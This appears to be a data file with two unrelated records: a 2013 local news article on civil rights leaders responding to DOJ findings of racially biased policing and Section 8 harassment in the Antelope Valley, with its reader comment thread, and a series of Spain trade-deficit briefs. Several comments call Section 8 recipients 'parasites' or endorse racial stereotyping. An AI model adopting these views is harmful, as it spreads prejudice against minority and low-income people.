text:
Civil rights leaders react to DOJ findings, call for citizens review board
by M. Dilworth • July 2, 2013
Surrounded by leaders of various local civil rights organizations, AV-NAACP President V. Jesse Smith speaks at a press conference Tuesday at Antelope Valley courthouse to address a Justice Department investigation that revealed racial discrimination in the Antelope Valley.
LANCASTER – Leaders from various local civil rights groups gathered for a community press conference Tuesday morning in response to a Justice Department investigation that revealed discriminatory policing and racial bias in the Antelope Valley.
"The report from the Justice Department confirms what we have said all along, that African Americans and Latinos have been the victims of racial profiling in the Antelope Valley," said V. Jesse Smith, President of the AV-NAACP. "It confirmed also that those who are a part of Section 8, in fact, were targeted because they were Section 8 vouchers [holders], and they were targeted because many of them happen to be African American and Latino," Smith continued.
The Justice Department Civil Rights Division on Friday (June 28) announced the conclusion of a nearly two-year investigation, which found that deputies from the Lancaster and Palmdale Sheriff's Stations routinely targeted African Americans and Latinos for stops, seizures and excessive force and that local deputies and housing investigators intimidated and harassed African-American housing choice voucher holders.
Lancaster Mayor Emeritus Henry Hearns opened the press conference with prayer for a better system.
In a letter to Sheriff Lee Baca detailing its findings, the DOJ stated that "racial intolerance" was "an unfortunate part of the history of the Antelope Valley." The report cited multiple examples of racial bias, from the 1960s, when "African-American families who wanted to live in Lancaster and Palmdale were directed to the historically minority neighboring community of Sun Village…," to an incident in 2010 when an "LASD deputy took photographs of luxury vehicles in a home's garage during a Section 8 compliance check, and sent them to the administrator of the 'I Hate Section 8' Facebook page," which resulted in the home being vandalized with racial slurs. Read the DOJ's findings letter/report in full here.
"As I read the report, I literally, literally came to tears, because while I knew that racism existed, I didn't know it was that pervasive," Smith said.
"We look towards the day when Latino immigrants and U.S. born citizens alike can walk the streets of the Antelope Valley without fear, and some of us, without terror," said Javier Flores of the League of United Latin American Citizens (LULAC).
Sheriff's officials disagree with many of the DOJ's conclusions, but said the department was committed to working closely with the DOJ to assess what, if any, changes need to be implemented. Read the LASD's statement of intent here.
The County Housing Authority has also committed to making changes and to paying "monetary damages to persons whose fair housing rights were violated in the course of HACoLA's enforcement of the voucher program in the Antelope Valley from 2004 to at least 2011," according to a statement of intent by the County Housing Authority. "The Parties will negotiate the exact amount of monetary damages," the statement reads. Read the County Housing Authority's Statement of Intent here.
A recent news story in the LA Times put the figure at around $12.5 million dollars.
"They deserve even more as far as I'm concerned," Smith said, before adding that the situation was about much more than money. "What Section 8 folks and people of color experienced, being harassed by the police, money can't compensate that because that's going to live with them for the rest of their lives. But it will provide for them some measure of justice and some measure of comfortable living."
A month after the DOJ launched its investigation, Section 8 recipients packed a community forum to give first-hand accounts of what they called abuse and harassment by local deputies.
The Justice Department's investigation was launched in August 2011 (read more here), just two months after the local NAACP and other civil rights groups filed a federal lawsuit claiming black and Latino families using Section 8 were victims of constant, unbearable harassment at the hands of housing authority investigators, sheriff's deputies and local politicians (Read that complaint here).
Though not named in the federal lawsuit, the County of Los Angeles reached a settlement related to the allegations in late January of 2012 (Read more here). The City of Palmdale settled about a week later, but did not admit to any wrongdoing and called the lawsuit "frivolous." (Read those details here). Lancaster Mayor R. Rex Parris, the most vocal critic of the lawsuit (read more here, here and here), announced that the city was resolving the lawsuit in October of 2012. (Read more here).
Both local sheriff's stations have also undergone changes since the Justice Department investigation began. Each has created its own Community Advisory Committee to strengthen the partnership between the community and law enforcement. (Read more here and here). Earlier this year, new Sheriff's Captains were announced for each station, as well.
Civil rights activists are calling for an independent Citizens Review Complaints Board, which will assure the public that complaints against deputies are investigated completely and fairly.
"The citizens have got to feel empowered that when police misconduct takes place out here, they have some kind of authority to be able to rectify the situation and hold law enforcement accountable," Smith said, adding that the citizens review board must have subpoena power.
The civil rights groups will be holding an "educational meeting" next week that focuses on the DOJ's conclusions.
"For the purpose of educating the community on what the report actually entails and then where do we go from here…" Smith said. "If you were a victim of racial injustice, you are going to be compensated for that in some form or fashion at some later date."
He says the meeting is also open to residents who may disagree with the way the Section 8 program is administered. Those residents are welcome to the meeting, so that community leaders can address the misconceptions about the Section 8 program, Smith says.
"What we want to say is, 'not every person who is on Section 8 is a criminal, not every person who is on Section 8 is African American or Latino, and not every person on Section 8 is bringing down the community…" Smith said, adding that the Justice Department's report revealed that there was no connection between Section 8 and crime in Lancaster and Palmdale.
The first in a series of educational meetings to address the DOJ's findings will take place at 6:30 p.m. on Wednesday, July 10 at a location to be announced, the group said. Activists are hoping that representatives from local law enforcement will attend the meeting, as well.
Civil rights organizations taking part in Tuesday's press conference included the Antelope Valley Branch of the National Association for the Advancement of Colored People, The Community Action League, the Merit Commission, the local chapter of the Nation of Islam, the HELPER Foundation, the League of United Latin American Citizens, One Way Up, and the High Desert Alliance of Black School Educators.
UPDATED 7/10/13: The community meeting to address the DOJ's findings has been rescheduled to a date in August, according to AV-NAACP President V. Jesse Smith. The exact date, time and place will be announced in the near future, Smith said.
Filed Under: Lancaster, Palmdale
97 comments for "Civil rights leaders react to DOJ findings, call for citizens review board"
NorthCounty says
Where are these local activists when young black men are being murdered right here in the AV…? Where is the outrage and megaphones…? That is always conveniently glanced over …
Maybe our 'concerned' AV African American leaders can address these valid points made by Bill O'Reilly in this video from tonight's segment. He has the intestinal fortitude to ask some very sensitive yet valid questions/statements. I have but one question: Does any of our local civil right activists have the same intestinal fortitude to come out of the woodwork and offer some answers and feedback…?
http://www.youtube.com/watch?v=yswEJ81hnWA
Good luck getting them to speak out on it.
P. Lfant says
While I will agree with you that the silence is often times deafening from the civil rights leaders on this issue. I believe that we must not allow for crimes or injustice of any sort to go unchallenged and to be quite honest it is much easier to go after the establishment (law enforcement, politicians, etc.) than the very same people that you claim represent, but until these leaders begin to do so, it will be hard for me to take them seriously.
OPENurEYES says
Would be nice if we could add an interactive thought bubble above Stan Muhammad's head in these pictures.
I wonder if all of these very important community LEADERS will speak out against Mr. Muhammad's homophobic speech? Que the crickets………
:( says
Denial denial denial. "We can't believe the DOJ because Holder is in Washington"??? Fine, so you can't believe Merrick Bobb either? How about the LASD's own special council? 3 different authors. The same findings, over and over and over. LASD discriminating against minorities in the AV.
I could find more if I cared to. Because this goes back to the 60's. Nothing changes if you can't admit you have a problem.
Is there anyone the people here would believe if they said the LASD discriminates against minorities in the AV? Jesus? Gandhi? Clark Kent?
My bet is no one. As minorities become the majority, you all might want to hope they don't treat you as they've been treated! Keep hiding your heads in the sand. And we the tax payers will continue to pay out for bad policing.
http://zev.lacounty.gov/news/public-safety/sheriff-race-bias-in-lancaster
http://www.parc.info/client_files/LASD/32nd%20Semiannual%20Report.pdf
Michael Rives says
This is the second time in two days that I have read in print 'veiled' threats about how things are going to be different when minorities assume majority status. One was a letter writer in yesterday's VALLEY PRESS and now this post. HELLO. African Americans and Hispanics are the majority in LA County and the AV. The President is black, U.S. Attorney General is black, CA Attorney General is black, and the LA district attorney is black. Tomorrow is here! And we the same crap that minorities are discriminated against by everyone. Get real!
So Mr. Rives. Which report is lying? And there is no threat. But there are facts. Fact that whites in America are going to be the new minority.
But look how this works. 3 reports all saying the same thing.
Yet I'm supposed to believe YOU having something to worry about as a white man because of responses in two publications? But minorities have had nothing to worry about? But the white man does? Minorities no. YOU, Michael Rives yes? Let me guess, the 2 responses represent threats, but years of abuse by the LASD doesn't? WOW! Not going to handle being a minority well, are you Michael?
So, are you going to call the DOJ because you're being persecuted?
Everybody just take a breathe says
Has anyone really read the DOJ report? I read and re-read it, and what I found was a bit disturbing. Maybe cause I lived in Missouri, but "Show me" where all this discrimination is. The report was long on talk, very short on numbers. Mark Twain said, "There are three kinds of lies, lies, damn lies, and then there are statistics!
Q: Was there, or was there not, abuse of the section 8 vouchers? Yes/No (Please DOJ, please comments on your findings. Is the voucher abuse is real or imagined!)
Q: Did all the violators get their vouchers revoked? Yes/No
Q: Where the violators get their vouchers revokes because they were one particular ethnicity, or did the violators get their vouchers revoked because of their actions?(regardless of their color?)
Q: Who wrote this report? A bunch of DOJ lawyers! Did they swear an oath to tell the truth? Yes/No
Q:Why? A:Because they were sent here to investigate this discrimination.
Q: How long do you think you would keep your job in the DOJ if you are sent by Eric Holder to document something, and then failed to find it?
Q: How many times has the DOJ investigated a police department, and failed to find what they were looking for? What are the numbers? I would like to hypothesize that if you go in looking for something to justify your preconceived notion, then you will always find it!
Q: If they found that a official kicked somebody out their house, based on their color, why hasn't the DOJ charged that person with a civil rights violation? Why, isn't that what the DOJ does? Why aren't a bunch of officials being led away in handcuffs?
Q: If the District Attorney who prosecuted and the judges who convicted are also participating in this fraud, why not name them in the lawsuit? Why just focus on the police?
I think perhaps, what has occurred is that people have not used their critical thinking skills, and just bought off on the DOJ report as accurate, without asking some tough questions. I purpose, show us all the unvarnished numbers, from whence you made your report. Let the public decide!
Im sure that AV NAACP, TCAL, LULAC, Merit Commission, Nation of Islam HELPERS, One Way Up, and the DOJ are going discuss at their July 10th "Educational Meeting" how they are planning to hold their next press conference to ask for the public to help in finding those who are responsible for the double murder of two young men of color two weeks ago. I believe they are also going to offer a large reward to entice those with information to come forward. Be patient, I'm sure our civil rights groups will step up when and where they are really needed…… Im sure….
Hummm says
If the demographics of these two cities are Blacks, Hispanics, and White(in that order,) how that constitutes "profiling." Isn't that just law of averages?
But that's not the demographic. It's Hispanic, white and African American.
The Grid says
But the demographic of the section 8 of those two cities is black, Hispanic, white. I believe it's over 70% black. And less than 10% white.
Notagain says
Notagain
THIS ISNT ABOUT RACE! ITS ABOUT HOW MUCH MONEY THEY CAN GET! I WONDER WUTS NEXT!
sikntired says
Gee, I didn't see any references to civil rights violations by gang members trying to intimidate elementary school kids to join their gangs, an inevitable death sentence.
Shaft says
Does the County know that one of their employees is playing on the internet while you should be rubber stamping useless forms and planning your lunch?
You're a a real hard charger playing internet philosopher :)
110 or 260?
Wrong on all accounts, Bud..can you in all your wisdom answer the question?
Quigley says
Probably not….he can't handle the truth like so many in the AV. Blinders are everywhere!
What?… I'm just no match for you two. SackOTard Your one sentence micro-rant (typical) made no reference to what was in the article (off topic) and may constitute valid discourse on some planet. You're always worth a good laugh. You impresses yourself with what I'm sure you would characterize as intellect.
But can you get off your bully pulpit for a minute and address my question?
Blinders Shaft, Blinders!?!
Last year before the Human Relations Commission meeting which Darren Parker chaired, I was running for Lancaster City Council and I called for the establishment of a Civilian Review Board because of a shooting of one Hispanic man and one African American man. The Sheriff responded by appointing a group in Lancaster and Palmdale comprised of people prominent in the community. Okay, now we have the situation where Section 8 recipients are said to have been harassed by LASD, Housing, and Parole agents. Let's get specific. Who had what rights violated? Did those who said they were violated get arrested for Section 8 or Parolee violations? Also, what complaints were filed with LASD and the LA County Housing Authority? If specific people were injured by the Section 8 sweeps, they may be compensated, but, not every Hispanic or African American who is on Section 8. Fair enough? I call again for established of a Civilian Review Board and the contracting out to another law enforcement agency in Lancaster for financial and appearance's sake. I suggest Kern County Sheriff next to us if they are less expensive and provide more deputies.
Stinger says
Kern County sheriffs? Are you absolutely nuts? They're the worst of the worst! Ask anybody who lives in Rosamond how they feel about the Kern County Deputies.
huh says
Ask anyone who has broken the law and has a biased review of them? Or, someone who hasn't had a run in with them? Yeah, exactly.
Ask either of those groups, Duh.
PD says
Oh Henry Hearns, you will do anything to stay relevant. I am suprised he didn't bring his daughter to sing (and sell CD's) at the press confrence. Go away Henry Hearns, we don't need you or your drawn out prayers.
citizen of Lancaster says
I just had a terrible thought. What if old Hearns is doing this to drum up publicity in order to run for mayor in the next election.
Who would I vote for Hearns or Parris?
Crap!
Newman says
They just heard about the money and now they are all there.
"Where's my money?"
My tax money you mean……
What is the percentage of individuals that are on section 8 that are Hispanic or Black? Roughly 72% in the antelope valley. Now if 72% of section 8 is one of the above minorities then there will be an equal proportion of incidents and crimes. That equated to 72% of section 8 violations would stem from the minorities because of pure numbers. Not racially profiling but dealing with facts.
Ive been living Palmdale for many yrs I am white female and I dont get in trouble ever. I dont trust any of these sheriffswith my life, Hell no. I ve seen how they treat the people. The Sheriffs are so wrong. [removed]. I have never seen anything like it anywherelike I see it here. How sad is this, I can never and will never trust my lolcal law inforcement. What happened to you should be able to trust the Shirff. Very Sad. We need to replace the whole antelope Valley sheriff department. It tey then nothing will ever change
july03 says
Check this out, wouldn't it make sense to create and give people more jobs that are on the county? I mean, how much does it cost to house an inmate? I heard it's like $70,000 a year, $70,000 dollars per inmate. WOW, CRAZY… That is a whole lot more than what GR gives someone, and who is benefiting from the money they get to house an inmate? It makes the richer, richer. Too much money is being giving to one person instead of spreading the money around to everybody. Look at how much some people make, and really don't do a whole hell of a lot to make it. But yet we condemn and look down on the people who probably work harder for there little pay check. That little pay check is barely getting them by. Why can't we come up with something to give people hope, I mean most people are happy they get a minimum wage job these days. Why not take half the money we spend on an inmate for a year and put it into giving people a job instead, and lets see what happens. We've got to do something. But, No keep ignoring the problem and not doing anything about it. The best thing to do is help people to become better, not worse. If there were more opportunities and people were able to get them then we would see do better.
rome says
Yeah, the biggest moochers in our society are the greedy corporations who shift operations to other countries to avoid paying taxes on huge amounts of profits. Not to mention the financial institutions and other corporations who get large economic incentives from the government and do not re-invest in Americans.
I hear lots of people whining about their tax dollars being squandered on welfare and section 8 recipients, but their Iphone dollars feed greedy Apple shareholders and a few Chinese families. Their Walmart dollars provide a living wage for Indonesian families, yet here at home many of their employees have to add food stamps to their incomes just to make ends meet.
Comments here seem to come from self-righteous, judgmental citizens frustrated by their own efforts to keep a home and maintain a sufficient income. Instead of being upset at the system that drains us of the ability to sustain our families by the richest Americans and corporations, they would rather blame the poorest of the population for taking advantage of one of the last resources available to them in this broken economy. Don't act as if you are paying someone elses rent or you are directly paying for the welfare program. Your tax dollars and military efforts are geared more directly into increasing corporate profits and global access. Its hard on ALL OF US!
Lemme guess….Democrat? Corporations are not living breathing individuals, so they're not capable of being "greedy". The shareholders and corporate officers are paying taxes through the nose. A corporation's purpose is to make money for it's shareholders. Any way they can legally do it is fine with me, and it should be fine with most hard working individuals whose retirement (401k, etc.) is hinged on corporations doing well. If we want 'em to stop using China and other countries, we should make the USA a business friendly place…which it's not, because of ridiculous regulations. The wealthy are paying way too much in taxes…the poor need to do their fair share.
Why isn't you annoyance directed at the Section 8 landlords who actually get the money from the government to rent their properties?
That fact seems to get no attention.
I'm not annoyed by the landlords or the residents. I don't blame anyone for accepting a handout if it's offered. I am annoyed by the Section 8 program itself. It shouldn't exist…then nobody could complain about the free-renters or the landlords.
No, then they'd just complain about the hundreds of thousands of homeless children and elderly and sit on their high horses and look down on them. And corporations may not be people, but when you have a President in the petroleum industry that invests millions in military efforts to protect the oil fields of another country while you steadily increase the cost of gasoline for your own citizens and offer hefty labor contracts to your business associates, your shareholders win at the population's expense.
Most of these section 8 recipients are or were the people who bought the crack, that funded the rebels, that fought the commies, who bought the guns, that came from the corporations who live in the house that jack built.
I swear, the people who run this country have lost any resemblance to a human group. And most of its citizens are possessed by the spirit of money to the point that they see their fellow man as a check or a bill.
Then they feel that they have the right to treat someone else bad because they are less fortunate. That's the reason most of them left europe in the first place.
It's sad and only GOD can fix it. "Thy Kingdom come."
Holy cow…gas is just about as cheap as it was in the 70s, taking inflation into account! And what happens?…the oil companies all get together over some secure phone line and agree with each other to raise prices in a similar fashion? They compete with each other. That's why gas is still cheap. Ever travel outside this wacked out State? Gas is about 40 cents cheaper…that is because of all the taxes and additives required by the enviro-nuts.
And the rich wouldn't complain about the homeless, because eventually the homeless would disappear if they didn't receive free stuff. They'd either get a job, live with friends, or starve.
The rich wouldn't complain, it would be people like the ones on this site; the pseudo-rich (lol). The rich don't care enough to complain.
And the statement that gas is the same price proportional to inflation, you are sadly mistaken. Gas prices are one of the main factors of inflation. And oil companies do cooperate on prices and projections based on petroleum RESERVES! If you do a little research you will see that we, as a nation, are being financially raped and pillaged. But if you feel secure in your status or whatever based on your ideas, bless your heart. I see tribulation ahead.
Thanks for the blessing….
Lancaster Resident says
If you want to earn more money than make yourself more employable. Get more education and training. Thats the reality. Minimum wage is not intended to be a wealthy choice. I actually grew up poor and found a way to go to college and took advantage of any and all grant options that were available, while working for minimum wage. So because I now EARN my money, which is well above minimum wage, your telling me I owe it to everyone else? Be realistic and get a clue. We are a democracy not a socialist state. You earn what you work for, not what your expected to have. Having witnessed first hand the abuse of welfare and section 8, I will under no circumstance (outside of my wasted tax dollars) help out a person unless I know they are in need and will actually attempt to better themself and lifestyle.
You help out someone who is not in need every single day at the gas pump. And your grants would not have been possible if it were not for an economy built upon indentured labor. Respect the help you received and feel good about being able to give someone else an opportunity. You don't owe poor people and realistically, you are not paying them. So get over yourself.
Sounds like you're anti-oil company. I suggest boycotting them…never buy their gasoline, get rid of your car, ride a bike, and put a bunch of ridiculous solar panels on your house. Watch the rest of the world (those of us who want to work hard and enjoy it) pass ya by!
Sounds like you base your opinions of people rather quickly and without many facts. I do ride a bike and minimize my reliance on oil. I don't need to work hard because I have fun at what I do for a living and have no problem providing for myself and my family. Enjoy your serfdom.
Ride on!!
Toil on! Rich people need the help. Fill up your tank while using your iphone on your way to citibank before you buy your heart medicine from walmart. Because CEO's at Exxon, Apple, Citigroup, Merck, and Walmart need your money to add on to their BILLIONS of tax credit and free profits.
OK….I'll honk my SUV's horn and wave as I pass your place under the bridge.
That wouldn't be a good place for me to put my shop. And feel free to stop in and spend some of your disposable income, I really don't care for honkers. Enjoy making other people rich!!
And yeah, you can reply with something witty and sarcastic. I know the last word means a lot to you. Reach for the stars, you're a winner!
Getting the last word means nothing to me. Honk Honk!!
Are you the honker or the…
You missed my point ROME. I already know I am taxed everywhere I turn. I am NOT anti tax, What I am is using the tax dollars for what they are intended for. Not being wasted on career criminals and low life scum. I am extremely grateful I had grants and good opportunities afforded to me, I have no problem returning the favor; but if i can do it. My path was walked and achieved through MY hard work…. You are only entitled to what YOU work for in this country. You know nothing about RESPECT. I have served my country and community and am proud to be an American. You need a reality check.
I wish we could all share similar views but we can't. I am not wasting anymore time commenting on this website. I'll take my cause to elected officials and exercise democrarcy. Anyone can hide behind a screen. Have a great 4th everyone and remember why your proud to be an AMERICAN.
june29 says
Me and my kids dad worked most of our life. Now, he is paralyzed and I have disabilities to deal with, and we both don't have are parents or family to run to for help. He was a foster kid, and his foster parents passed away already, and mine are passed also. We don't have a record, and we worked most of our life before we became disabled. When I didn't have section-8 my kids didn't get toys and we barely got to do anything, because I saved my money for the rent and bills. Now that I have section-8, we still barely make it every month. But I am so thankful for the help.
Uncle Tom says
And THIS person right here is who section 8 is meant for IMO. Not the lazy people who are able to work but choose not to, not single mom who moves in the boyfriend who is working, not the person who moves in more family who are criminals or up to no good. And we need the compliance checks to make sure those who abuse the system are removed from it.
I seriously doubt it was a spur of the moment decision to have deputies go along on CC's. If anything the compliance officers where being threatened by those who were breaking the rules, because they didn't want to lose their free ride.
Exactly Uncle Tom….the truth seems to be a hard concept for so many of our community leaders. So tired of the poor me race attitudes!
what the system is intended to be used for…what a concept.
10dog says
Time for the working people to leave this state and then see where will they get their money. It could be the last days according to the BIBLE. It says things would get worst and this is just one example of many thing .Pray that all would read John3:16 and understand that GOD sent His only begotten Son to die for our sins. America had taken GOD of the BIBLE out every thing other than blaming when things go wrong.
Mr Flores may get his wish when the tax paying, law abiding citizens leave this area.He can have the sidewalks all to himself.
Read the DOJ Report, then make your own conclusions.
Romayn says
Get off section 8 so your not targeted
True that I believe in profiling, if it quaks it must be a duck
I have a SERIOUS problem with the profiling accusation as the deputy responses were ALL due to COMPLAINTS levied by neighbors et al. and if I remember correctly, there was about a 90% or greater conviction rate. How is that targeting???? Sounds to me that the LASD was targeted by the DoJ
what kind of complaints from the neighbors? Because when I moved into the house I am living the front yard was dry grass and weeds. Now that I moved here it looks better.
rxh8r says
because the court system goes right along with the sheriffs. duhhhhhh!!!!
RLasncaster says
Is all about the money$$$$
Tim J. says
More extortion from the taxpayers! yes, i said EXTORTION you scandalous parasites of society!
ohyea says
A thumbs up for this comment!
stereotypes exist for a reason and are based on some amount of truth. If you don't think that's true you are sadly mistaken. WAKE UP! If you don't want to be "labeled" or "profiled" don't act, speak, or dress like a thug. It doesn't matter what race or color you are. It's a simple reality. Get off welfare and section 8 if you are perfectly able to work. It's possible to go to school or get a professional skill while on the system and use those resources FOR A SMALL AMOUNT OF TIME and eventually pay TAXES. I've seen it happen. Stop having kids you cannot afford on your own income, and if you think you are to good for a MINIMUM wage job (and you have no HS education, a criminal record, or no professional experience) DO SOMETHING ABOUT IT. It's your own concern. Take some responsibility and grow up! The government and the TAX PAYERS are not your providers and keepers. The good citizens, residents, and LASD members now have to cater to the actions of more bad people who were involved in the nonsense. The intent was to clean up our city and hold the abusers responsible….so now what? The abuse will continue and more of MY TAX dollars go to waste. Stand up good people!
Moenna says
Well said, LR.
The good people in the AV have tried to stand up and once again have lost. Disgusted!
Don't give up!
Risa says
This is absolutely appalling! The only thing I see coming from this is that now more people are going to become bitter and silently enraged that lawbreakers now get rewarded with even MORE money, meanwhile, people who go to work everyday and struggle have to put up with loud and obnoxious behavior of Section 8 tenants who think they can do whatever they want.
THIS ISNT ABOUT RACE! ITS ABOUT HOW MUCH MONEY THEY CAN GET!
NIMBY says
According to: http://www.aveconomy.org the 2012 demographics were as follows:
Lancaster-White-46.1%
Hispanic-41.6%
African American-21.3%
Palmdale-White-47.2%
African American-14.7
In Lancaster it's 46.1% vs 62.9% and Palmdale it's 47.2% vs 72.9% whites vs Hispanics and African Americans. So doesn't it reason that Hispanics and African Americans get profiled most because they make up most of the AV population?!
Math must not be your forte`. Either that or some of your statistics count individuals in two or more ethnic groups. Besides, who says that it's a "vs." situation in the first place. Most people out here are neighborly and normal. Get over yourself. "Just because you're paranoid doesn't mean they aren't really out to get you" huh?
Candy asses says
U do the crime u do the time no matter what race … Im so sick of people saying their being discriminated on becouse of color …this is simply bs there wouldn't be anything to get u on in the first place if u were following the laws plain and simple
Darius White says
There seems to be (to me, anyway) a misalignment of priorities with the groups listed above. Our valley has experienced several very tragic murders over the past few weeks. Our brothers and sisters are being savagely taken away from us, and our surviving family members are left to pick up the pieces. With all of this inexplicable craziness happening, I have yet to see a press conference held by the AV-NAACP, LULAC, The Community Action League, the Merit Commission, the local chapter of the Nation of Islam, the HELPER Foundation, One Way Up, and/or the High Desert Alliance of Black School Educators condemning these recent events and demanding accountability for those responsible. What I have witnessed is some members of those same groups saying that the LASD is not doing their jobs and apprehending these murderers. Now, many members of these same groups are eagerly anticipating being "provided for them some measure of justice and some measure of comfortable living." It seems like priorities need to be reviewed. I would rather have killers taken off the streets first, then deal with a few allegedly aggressive cops later. After all, if we talk trash about LASD and rub their noses in this DOJ letter, how motivated do you think the LASD will be to help catch the killers? I'll tell you how motivated they'll be: VERY MOTIVATED. The LASD are professionals who will continue to successfully do their very dangerous job, and continue to protect those of us who support and appreciate them, as well as those who don't. Just a thought…
saywhat? says
Awesome response. Well said. Where have these groups been except when they can pat their own backs and have something to gain. They started something and they quit and left a lot of people in the community high and dry when their publicity needs were met
Mike Jimenez says
Thank You! very well put!
Accountability? What a concept…your statement should be on the front page of the AV press because it couldn't be more accurate! Thanks DW
La-a James says
The comment by Darius White was written two days ago, and a few have agreed with and support his comment. However, not one member of any of the groups mentioned in the article have responded at all. I guess the old saying "silence speaks volumes" could not be more true. SMH
So true on so many levels!
TCAL Do they still exist? They have no community anymore as they hold no meetings for THE COMMUNITY which would be THE PEOPLE. Their FB page has been silent for how long????? Free press is all they want and you just gave it to them. And citizens dragged to court every day and many SUFFER regardless of race and these people are NO WHERE to be found unless there is a camera for their faces to show off in. Sickening
Just sayin' says
Yep, and where are they when it's a black on black crime? They LOVE to stir the pot when it's anything but black on black crimes. They are truly a disgusting racist organization!
Duh! says
"It confirmed also that those who are a part of Section 8, in fact, were targeted because they were Section 8 vouchers [holders]"
Who is the Section 8 compliance squad supposed to target, Bill Gates?
Letlow says
They're not supposed to target ANYONE for intimidation and harassment genius! What Section 8 compliance squad do you speak of? You mean the housing investigator and the deputies with guns drawn?? Deputies were not supposed to be riding along on compliance checks!! Why don't you actually read the DOJ report and then attempt to comment from a place of knowledge.
"They're not supposed to target ANYONE for intimidation and harassment …"
You're right, they're not, and those that do should be held accountable, but that has nothing to do with the specific comment I was targeting.
Section 8 compliance investigators are supposed to professionally investigate Section 8 recipients, as well as Section 8 homeowners, to ensure that they are in compliance, adhering to the rules of the program that recipient/homeowner agreed to when applying.
They're doing that but they're doing it wrong.
While not Section 8, I've seen similar situations where LAC police have guns drawn during code compliance checks.
Code compliance checks are the non-Section 8 version of Section 8 compliance checks. Here, tax-paying home and land owners are targeted for intimidation and harassment.
No one is immune.
Thanks for the "genius" tag.
Sometimes I doubt myself.
Animal Control has been illegally and aggressively targeting minorities for years. They'll use dog issues to bring in other agencies. Then you're in the system and open to all kinds of abuse. Animal Control one of the deep pocket Departments that often escapes scrutiny, and is guilty of race targetting. They're one of the worst Departments motivated by race and engaged in the abuse of people, based on race.
License your dogs, don't exceed the allowable number, don't leave them in the yard barking all night, you won't have a problem.
Check,check,check and WRONG. What don't you get about wrongful, unwarranted "investigations"?
SackOtard>… I'll speak more slowly. The County is attacking honest people who have done nothing.
I've seen you less than productive "contributions" here before.
Now, now, no need for name calling.
AVGirl says
In many cases, compliance checks for section 8 are because there is suspected illegal activity. Drugs, guns or felons might have been reported.
All I can say is I am glad that as a landlord I have not yet been forced to accept Section 8 vouchers. There are cases and such working their way through the legal system that might change that though.
where is my share? says
I'm sure the "educational" meetings will discuss how people can get their share of the 12.5 million.
PO'd Yank says
Of course….our tax dollars AT WORK for those who don't/won't/refuse to.
FUNNY says
what a joke just look who is doing all the Crime in the valley
Johnny Trece says
Yeah, the Sheriff Deputies.
Look again!!!


text:
Spain Trade Gap Narrows by 8.1% in January
Spain's trade deficit decreased by 8.1 percent to €2.39 billion in January of 2016, compared to a €2.6 billion shortfall a year earlier, the lowest January's deficit since 1999. Exports rose by 2.1 percent while imports edged up by 0.8 percent.
Yekaterina Guchshina | yekaterina@tradingeconomics.com 3/21/2016 11:17:09 AM
Year-on-year, exports rose by 2.1 percent to €18.27 billion from €17.89 billion. Main contributions to growth came from the goods sector (contribution of 1.7 points); the automotive sector (1.1 points), manufactured consumer goods (0.9 points), food, beverages and tobacco (0.7 points) and durables (0.4 points). By contrast, negative contributions came from energy products (contribution of -1.2 points), down 26.3 percent, other goods (-0.9 points) and non-chemical semi-manufactured goods (-0.7 points).
Exports to the European Union accounted for 69 percent of total shipments and increased by 5.2 percent year-on-year, as sales to the euro area went up by 4.5 percent, while those to the rest of the EU countries grew by 7.7 percent. Destinations with the biggest positive contribution were: Belgium (0.7 points), UK (0.7 points) Oman (0.4 percent) and Netherlands (0.4 percent). Meanwhile, exports to third destinations accounted for 31.0 percent of total exports and fell by 4.3 percent over the same month last year. By region, shipments to America (-4.9 percent), Africa (-2.0 percent) and Oceania (-4.5 percent) decreased. By contrast, sales to Asia rose 2.6 percent.
Imports increased by 0.8 percent to €20.65 billion from €20.49 billion a year ago. The main positive contributions to growth came from the capital goods sector (contribution of 2.2 points), manufactured consumer goods (0.9 points), food, beverages and tobacco (0.7 points) and consumer durables (0.2 points). By contrast, negative contributions came from: energy products sector (-2.9 points), raw materials (-0.3 points) and non-chemical semi-manufactured goods (-0.2 points).
The non-energy balance showed a deficit of €750.3 million while energy deficit increased by 18.9 percent as a result of the drop in energy prices.
Spain Posts Smallest Trade Gap in 5 Months
Spain's trade deficit narrowed to EUR 1.86 billion in November 2019 from EUR 2.57 billion in the same month last year. This was the smallest trade gap since June, as imports declined 3.3% to EUR 26.93 billion, amid lower acquisitions of capital goods (-2.4%); chemicals (-2.8%); vehicles (-2.5 percent) and energy products (-13.3%). Among major trade partners, imports from the Euro Area shrank 1%, owing to declines from Germany (-3.9%), France (-2%) and Italy (-8.5%). Purchases also fell from China (-5.8%), Turkey (-2.4%), Switzerland (-26.8%), but were higher from the UK (3.1%) and the US (10%). Exports dropped 0.9% to EUR 25.06 billion, as shipments sank for chemicals (-7.2%); non-chemical semi-manufactured goods (-4.3%); energy products (-26.1%) and raw materials (-4.6%). Sales to the Euro Area grew 1.5%, as increases from France (0.9%), Germany (0.7%) and Belgium (29.6%) outpaced decreases from Italy (-4.1%) and Portugal (-3%). Exports fell sharply to Switzerland (-30%).
Spain Trade Balance Narrows as Exports Hit Record
Spain's trade deficit narrowed to EUR 2.58 billion in October 2019 from EUR 3.88 billion in the same month last year, as exports rose 1.7 percent to an all-time high while imports dropped 2.7 percent.
Spain Trade Gap for September Largest in 8 Years
The Spanish trade deficit widened to EUR 4.26 billion in September 2019, the largest trade gap for that month since 2011, as imports rose 8.9 percent from a year earlier and exports increased at a softer 5.8 percent. Considering the third quarter as a whole, the country recorded a EUR 10.73 billion trade shortfall.
Spain Posts Largest August Trade Deficit in 8 Years
The Spanish trade deficit rose to EUR 3.98 billion in August 2019 from EUR 3.06 billion in the same month of the previous year. It was the largest trade gap for an August month since 2011, as exports slumped 6.2 percent and imports went down at a softer 1.5 percent.
Spain Trade Gap Narrows in July
The Spanish trade deficit narrowed to EUR 2.49 billion in July 2019 from EUR 3.25 billion in the same month of the previous year, as exports rose 3.8 percent and imports increased at a softer 0.6 percent. Considering the first seven months of the year, the country's trade shortfall decreased to EUR 17.20 billion from EUR 17.83 billion in the corresponding period of 2018.
Spain Posts Smallest Trade Gap in 15 Months
The Spanish trade deficit narrowed to EUR 1.53 billion in June 2019 from EUR 2.45 billion in the corresponding month of the previous year. It is the smallest trade shortfall since March last year, as exports increased 0.9 percent and imports fell 2.6 percent.
Spain Trade Gap Narrows in May
The Spanish trade deficit narrowed to EUR 2.11 billion in May 2019 from EUR 2.15 billion in the same month of the previous year, as exports rose 5.5 percent and imports increased at a softer 4.9 percent.
Spain Trade Gap Shrinks Sharply in April
